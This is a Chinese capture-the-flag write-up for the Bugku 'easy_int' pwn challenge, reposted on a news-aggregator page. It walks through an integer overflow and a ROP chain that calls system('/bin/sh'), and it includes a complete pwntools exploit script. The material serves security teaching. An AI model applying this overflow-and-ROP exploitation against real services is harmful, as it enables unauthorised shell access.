PWN之system函数参数非/bin/sh的情况

您所在的位置:网站首页 mx5魅族手机参数表大全 PWN之system函数参数非/bin/sh的情况

PWN之system函数参数非/bin/sh的情况

2023-01-10 19:33| 来源: 网络整理| 查看: 265

0 分享至

用微信扫码二维码

分享至好友和朋友圈

本文由wkeyi0x1原创

一般的栈溢出类型的题都是有system函数并且执行的命令是/bin/sh,我们只需要将溢出的字节数控制到返回地址并把返回地址替换成system函数的地址即可执行/bin/sh来获取一个shell

本文字数:1554字

图片数量:36张

阅读时间:4分钟

准备工具:IDA Pro、Python3、ROPgadget

0x01 预备工作

首先file一下,看到是 ELF 64位程序

然后再checksec一下,可以看到没有开启保护,看着样子是没有保护

0x02 运行程序

· 默认int类型数据最大值是2147483647,如果超出这个值的话就会变成负数

运行程序后是让我们输入int类型的参数,而且题目是easy_int,可以猜想是整数溢出,同时也可以使程序内部条件成立然后执行vuln函数

main函数

vuln函数,发现最后调用了system函数

输入比最大值大的数后发现成功转跳到下一步

0x03 IDA查看_system函数地址

_system函数地址0x00401090(图中红框标记错了,应是上面那个函数)

0x04 修改system函数的参数

进入vuln函数我们可以看到system函数的参数为"ok!"执行的命令并不是/bin/sh

然后在IDA中Shift+F12打开字符串窗口可以看到有"/bin/sh"字符串,地址为0x00403500

查看溢出长度

接下来就是常规ROP,在read函数执行的时候溢出覆盖返回地址,写入system函数的参数,也就是"/bin/sh"地址

0x05 编写POC

编写payload

payload = b'a' * 0x28 # 溢出大小payload += p64(0x0040101a) # ret地址payload += p64(0x00401343) # pop rdi地址payload += p64(0x00403500) # /bin/sh字符串地址payload += p64(0x00401090) # _system函数地址

POC

from pwn import *context(os='linux', log_level='debug')conent = 1 # 1是本地测试,2是目标机器测试def main():if int(conent) == 1:q = process("/home/wkeyi0x1/Desktop/pwn/linux/bugku_easy_int")elf = ELF("/home/wkeyi0x1/Desktop/pwn/linux/bugku_easy_int")else:q = remote("192.168.1.110", "55555")elf = ELF("/home/wkeyi0x1/Desktop/pwn/linux/bugku_easy_int")payload = b'a' * 0x28 # 溢出大小payload += p64(0x0040101a) # ret地址payload += p64(0x00401343) # pop rdi地址,在ubuntu18以上的版本,64位的程序若包含了system就需要考虑堆栈平衡。具体可以参考https://blog.csdn.net/qq_41560595/article/details/112161243payload += p64(0x00403500) # /bin/sh字符串地址payload += p64(0x00401090) # _system函数地址q.recvuntil("")q.sendline("2147483648")q.recvuntil("")q.sendline(payload)q.recvuntil("")q.interactive()main()

关注公众号查看

兰泽安全小分队

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

/阅读下一篇/ 返回网易首页 下载网易新闻客户端


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3